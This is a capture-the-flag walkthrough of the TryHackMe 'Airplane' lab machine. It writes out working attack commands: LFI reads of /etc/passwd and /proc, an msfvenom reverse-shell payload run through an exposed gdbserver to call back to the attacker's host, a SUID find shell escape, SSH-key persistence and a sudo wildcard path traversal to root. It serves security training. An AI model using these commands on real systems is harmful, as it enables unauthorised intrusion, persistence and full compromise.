Post

CTF Walkthrough for TryHackMe Machine Airplane

CTF Walkthrough for TryHackMe Machine Airplane

Introduction

Greetings everyone, in this walkthrough, we will talk about Airplane a TryHackMe machine. This walkthrough is not only meant to catch the flag but also to demonstrate how a penetration tester will approach this machine in a real-world assessment.

Machine Description

Name: Airplane
Difficulty: Medium
Operating System: Linux
Machine link: Airplane

Tools used

1) Nmap
2) ffuf

Reconnaissance

We will start by performing a service scan on the target to enumerate services running on open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(pentester㉿kali)-[~/Desktop/TryHackMe/Challenge/Airplane/Scans/Service]
└─$ sudo nmap -n 10.10.158.63 -sV -sC -oN service-scan.nmap    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 14:59 BST15:00:56 [0/239]
Stats: 0:01:48 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.30% done; ETC: 15:00 (0:00:00 remaining)
Nmap scan report for 10.10.158.63
Host is up (0.087s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)         
| ssh-hostkey:
|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
|_  256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
8000/tcp open  http-alt Werkzeug/3.0.2 Python/3.8.10
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html            
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
<SNIP>
|     Content-Length: 269
|     Location: http://airplane.thm:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
<SNIP>                                                            
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.91 seconds   

We can see that our target runs an SSH and a Werkzeug web server. In the scan result, the target redirects Nmap to a domain name that we can add to our /etc/hosts file.

1
2
3
┌──(pentester㉿kali)-[~/Desktop/TryHackMe/Challenge/Airplane]
└─$ echo "10.10.158.63\tairplane.thm" | sudo tee -a /etc/hosts
10.10.158.63    airplane.thm

We could continue our enumeration by fuzzing for the presence of Vhosts but we can notice that the target uses a page parameter to import the index.html page. We can test if this parameter is vulnerable to local file inclusion vulnerability.

1
2
3
4
5
6
7
8
9
10
┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Web]
└─$ curl 'http://airplane.thm:8000/?page=../../../../etc/passwd' 
root:x:0:0:root:/root:/bin/bash
<SNIP>
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<SNIP>
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

Exploitation

We can see that the page parameter is indeed vulnerable to LFI. We can use this to fuzz for common files on the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Scan/Web]
└─$ ffuf -ic -c -u 'http://airplane.thm:8000/?page=../../../..FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 14  
<SNIP>
/proc/net/arp           [Status: 200, Size: 156, Words: 79, Lines: 3, Duration: 115ms]
/proc/self/cmdline      [Status: 200, Size: 24, Words: 1, Lines: 1, Duration: 119ms]
/proc/partitions        [Status: 200, Size: 385, Words: 192, Lines: 14, Duration: 132ms]
/proc/self/environ      [Status: 200, Size: 437, Words: 1, Lines: 1, Duration: 133ms]
/proc/cpuinfo           [Status: 200, Size: 2310, Words: 287, Lines: 55, Duration: 143ms]
/proc/net/dev           [Status: 200, Size: 449, Words: 243, Lines: 5, Duration: 147ms]
/proc/net/route         [Status: 200, Size: 512, Words: 290, Lines: 5, Duration: 158ms]
/proc/version           [Status: 200, Size: 154, Words: 17, Lines: 2, Duration: 159ms]
/proc/mounts            [Status: 200, Size: 3099, Words: 206, Lines: 42, Duration: 158ms]
/proc/self/status       [Status: 200, Size: 1333, Words: 89, Lines: 56, Duration: 148ms]
/proc/meminfo           [Status: 200, Size: 1475, Words: 540, Lines: 54, Duration: 147ms]
/proc/interrupts        [Status: 200, Size: 1853, Words: 834, Lines: 35, Duration: 147ms]
/proc/loadavg           [Status: 200, Size: 28, Words: 5, Lines: 2, Duration: 147ms]
/proc/net/tcp           [Status: 200, Size: 84000, Words: 33635, Lines: 561, Duration: 159ms]
<SNIP>
:: Progress: [929/929] :: Job [1/1] :: 116 req/sec :: Duration: [0:00:20] :: Errors: 0 ::

The fuzzing returns many files but the most interesting ones are those from the /proc directory. We can see the /proc/self/status that provides valuable information about the running process i.e. the web server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Web]
└─$ curl -s 'http://airplane.thm:8000/?page=../../../../proc/self/status'
Name:   python3
Umask:  0022
State:  S (sleeping)
Tgid:   542
Ngid:   0
Pid:    542
PPid:   1
TracerPid:      0
Uid:    1001    1001    1001    1001
Gid:    1001    1001    1001    1001
FDSize: 128
Groups: 1001 
<SNIP>

We see that the web server runs as the user Hudson. We know this by comparing the UID in the /proc/self/status with that in the /etc/passwd file. We can also read the /proc/net/tcp file that provides information about currently active TCP connections.

1
2
3
4
5
6
7
8
9
┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Web]
└─$ curl -s 'http://airplane.thm:8000/?page=../../../../proc/net/tcp'      
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 15531 1 0000000000000000 100 0 0 10 0                     
   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19765 1 0000000000000000 100 0 0 10 0                     
   2: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 17930 1 0000000000000000 100 0 0 10 0                     
   3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1001        0 21680 1 0000000000000000 100 0 0 10 0                     
   4: 00000000:17A0 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1001        0 20211 1 0000000000000000 100 0 0 10 0                     
   5: 3F9E0A0A:1F40 1317080A:9930 01 00000000:00000000 00:00000000 00000000  1001        0 331676 1 0000000000000000 48 4 30 10 10    

We can see that the target listens on three ports on the address 0.0.0.0 represented by 00000000. Remember that our scan returned only two ports i.e. 22 and 8000. This means that the third port is not part of the top 1000 ports. Let’s convert these numbers from hexadecimal to decimal.

1
2
3
4
5
6
7
8
9
10
11
┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Web]
└─$ echo $((0x0016))
22

┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Web]
└─$ echo $((0x01F40))
8000

┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Web]
└─$ echo $((0x017A0))
6048

We see that the target listens on port 6048 which we did not scan earlier. We can perform a quick service scan on this port using Nmap.

1
2
3
4
5
6
7
8
9
10
11
┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Service]
└─$ nmap -n 10.10.158.63 -sV -sC -p6048 -oN  6048-service.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 16:11 BST
Nmap scan report for 10.10.158.63
Host is up (0.15s latency).

PORT     STATE SERVICE VERSION
6048/tcp open  x11?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.52 seconds

This port appears to run a service that couldn’t be identified by Nmap. We can attempt to read the cmdline file of this process in the proc folder. We first need to identify which folder contains this process’s information. We can create a wordlist of process IDs that we can use to fuzz the file system using the LFI vulnerability we discovered earlier.

1
2
3
4
5
6
7
8
9
10
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ seq 1 1000 > PIDs.txt 
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ ffuf -ic -c -u 'http://airplane.thm:8000/?page=../../../../proc/FUZZ/environ' -w ./PIDs.txt  -fc 500 -fs 14
<SNIP>

538                     [Status: 200, Size: 437, Words: 1, Lines: 1, Duration: 95ms]
542                     [Status: 200, Size: 437, Words: 1, Lines: 1, Duration: 95ms]
592                     [Status: 200, Size: 454, Words: 1, Lines: 1, Duration: 93ms]
:: Progress: [1000/1000] :: Job [1/1] :: 70 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

We can see that we access three processes on the target. We can read the cmdline file to enumerate the command used to start these processes. This file contains the NULL character \x00 at its end so we need to replace it with any other character e.g. space to see its contents.

1
2
3
4
5
6
7
8
9
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ curl -s 'http://airplane.thm:8000/?page=../../../../proc/538/cmdline' | sed 's/\x00/ /g'
/usr/bin/gdbserver 0.0.0.0:6048 airplane                                                                                                                                                                                              
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ curl -s 'http://airplane.thm:8000/?page=../../../../proc/542/cmdline' | sed 's/\x00/ /g'
/usr/bin/python3 app.py                                                                                                                                                                                              
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ curl -s 'http://airplane.thm:8000/?page=../../../../proc/592/cmdline' | sed 's/\x00/ /g'
/opt/airplane  

We can see above that a GDB server is listening on port 6048 we saw earlier. The GDB server is a computer program that makes it possible to remotely debug other programs. This post explains how to exploit this server. We first start by creating a payload using msfvenom.

1
2
3
4
5
6
7
8
9
10
11
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.8.23.19 LPORT=1234 PrependFork=true -f elf -o binary.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Final size of elf file: 226 bytes
Saved as: binary.elf

┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ chmod 755 binary.elf  

With the payload set, we can start a listener on our attack host.

1
2
3
┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Web]
└─$ nc -lvnp 1234
listening on [any] 1234 ...

We can now connect to the GDB server running on port 6048 and upload the payload. After uploading the payload we can execute it to gain a reverse shell on the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ gdb binary.elf
GNU gdb (Debian 15.1-1) 15.1
Copyright (C) 2024 Free Software Foundation, Inc.
<SNIP>

(gdb) target extended-remote 10.10.158.63:6048
<SNIP>
(gdb) remote put binary.elf /tmp/binary.elf
Successfully sent file "binary.elf".
(gdb) set remote exec-file /tmp/binary.elf
(gdb) run
The program being debugged has been started already.
<SNIP>
(gdb) 

When we go back to our listener we will see a reverse connection from the target. We can upgrade this simple shell to a complete TTY shell as shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Web]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.23.19] from (UNKNOWN) [10.10.158.63] 51906
python3 -c 'import pty;pty.spawn("/bin/bash")' 
hudson@airplane:/opt$ ^Z
zsh: suspended  nc -lvnp 1234

┌──(pentester㉿kali)-[~/…/Challenge/Airplane/Scans/Web]
└─$ stty raw -echo;fg                        
[1]  + continued  nc -lvnp 1234
                               export TERM=xterm
hudson@airplane:/opt$ 

After we have obtained a shell on the target we can enumerate SUID binaries on the target system.

1
2
3
4
5
6
7
hudson@airplane:/home/hudson$ find / -perm -4000 2>/dev/null
/usr/bin/find
/usr/bin/sudo
/usr/bin/pkexec
<SNIP>
hudson@airplane:/home/hudson$ ls -l /usr/bin/find
-rwsr-xr-x 1 carlos carlos 320160 Feb 18  2020 /usr/bin/find

We can see that the /usr/bin/find binary has the SUID bit set for the Carlos user. We can run this command with the -exec option that allows us to run a system command. This gives us a shell as carlos user and we can read the user flag on the system.

1
2
3
4
5
6
hudson@airplane:/home/hudson$ /usr/bin/find . -exec /bin/sh -p \; -quit
$ whoami
carlos
$ ls /home/carlos
Desktop    Downloads  Pictures  Templates  user.txt
Documents  Music      Public    Videos

Post Exploitation

We can maintain this access by writing a public key we control in Carlos’s /home/carlos/.ssh/authorized_keys files and connecting to the target as the Carlos user using SSH. We first create the private/public key pair on our attack host.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ ssh-keygen -t ed25519                 
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/pentester/.ssh/id_ed25519): ./id_ed25519
<SNIP>
+----[SHA256]-----+

┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ ls
PIDs.txt  binary.elf  id_ed25519  id_ed25519.pub

┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ cat id_ed25519.pub                                
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBh4WvTepAN44OAVrcLMr5Zvj1i6KuPXMXw+s31IYxoi pentester@kali

Now we copy the contain of the id_ed25519.pub file we created to the /home/carlos/.ssh/authorized_keys file on the target.

1
$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBh4WvTepAN44OAVrcLMr5Zvj1i6KuPXMXw+s31IYxoi pentester@kali'  > /home/carlos/.ssh/authorized_keys

Finally, we can connect to the target as Carlos using SSH.

1
2
3
4
5
6
7
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Airplane/Misc File]
└─$ ssh carlos@10.10.158.63 -i id_ed25519 
The authenticity of host '10.10.158.63 (10.10.158.63)' can't be established.
ED25519 key fingerprint is SHA256:9q23c/CHFWNnqEDK/eQFZ2BSYcCGfCW3+A9hX0ubHj0.
<SNIP>

carlos@airplane:~$

After a successful connection we can enumerate Carlos’s sudo privileges.

1
2
3
4
5
6
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb

We can see that the user Carlos can run any Ruby file in the /root directory and we do not have write access to that directory. The wildcard * matches one or more occurrences of any character, including no character including . and /. We can use this to perform path traversal to execute a ruby script present in a directory we control as root. We need a ruby script that gives us a shell as the root user.

1
2
3
4
5
6
7
8
9
carlos@airplane:~$ pwd
/home/carlos
carlos@airplane:~$ echo "exec('sh')" > test.rb
carlos@airplane:~$
carlos@airplane:~$ sudo /usr/bin/ruby /root/../home/carlos/test.rb 
# whoami
root
# ls /root
root.txt  snap

We have perform path travesal and executed the sh command as root which gave us a root shell on the target. We can use this access to read the second flag on the target.

Conclusion

Congratulations! In this walkthrough, you have exploited an LFI vulnerability to enumerate the process using an unidentified GDBserver service which you use to obtain a reverse shell on the target. This machine was designed to show how inconsistent input validation when including files could seriously impact an organisation’s security posture. Thanks for following up on this walkthrough.

This post is licensed under CC BY 4.0 by the author.